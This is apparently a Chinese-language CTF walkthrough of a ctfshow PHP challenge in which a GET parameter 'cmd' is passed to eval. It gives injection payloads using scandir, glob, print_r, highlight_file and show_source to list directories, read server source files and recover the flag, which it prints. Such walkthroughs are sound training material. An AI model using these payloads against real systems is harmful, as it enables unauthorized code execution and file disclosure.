打开链接,在网页源码里找到提示
要求以get请求方式给cmd传入参数
尝试直接调用系统命令,没有回显,可能被过滤了
测试phpinfo,回显成功,确实存在了代码执行
接下来我们尝试读取一下它存在的文件,这里主要介绍两个函数
scandir() 函数:返回一个数组,其中包含指定路径中的文件和目录。
若成功,则返回一个数组,若失败,则返回 false。如果 directory 不是目录,则返回布尔值 false 并生成一条 E_WARNING 级的错误。
用法:scandir(directory,sort,context)
参数 | 描述 |
---|---|
directory | 必需。规定要扫描的目录。 |
sort | 可选。规定排列顺序。默认是 0 (升序)。如果是 1,则为降序。 |
context | 可选。规定目录句柄的环境。context 是可修改目录流的行为的一套选项。 |
我们先扫描当前目录,若读取成功后,则将它输出
构造payload:?cmd=print(scandir('./'));
发现内容是一个数组,属于复杂类型变量,换用 print_r() 函数
知识补充:
print()只能打印出简单类型变量的值(如int,string) ,输出一个字符串
print_r() 可以打印出复杂类型变量的值(如数组,对象) ,打印关于变量的易于理解的信息
更新payload:?cmd=print_r(scandir('./'));
可以看到当前目录下存在一个名为903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php 的文件
使用 highlight_file() 函数对文件进行语法高亮显示(就是查看文件的源码)
构造payload:
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
得到 $flag="ctfshow{eae7ce01-7143-4333-aecb-6862cab465ce}"
前面文件的读取也可以使用另一个函数
glob() 函数:返回一个包含匹配指定模式的文件名或目录的数组,如果失败则返回 FALSE。
用法:glob(pattern,flags)
参数 | 描述 |
---|---|
pattern | 必需。规定检索模式。 |
flags | 可选。规定特殊的设定。 可能的值:
|
glob("*") 会匹配任意文件,glob("*.php")则是匹配以php为后缀的文件
这里匹配一下任意类型的文件
构造payload:?cmd=print_r(glob("*"));
输出结果和上面一样
后面除了使用highlight_file()函数,也可以使用show_source()函数,后者就是前者的别名。
payload:
?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
拿到flag之后,我们也可以看一下它这道题目的源码,先看一下index.php里面的内容:
?cmd=highlight_file('index.php');
可以看到,传入的cmd直接被放进了eval函数,但我还是没找到它在哪里把system过滤掉了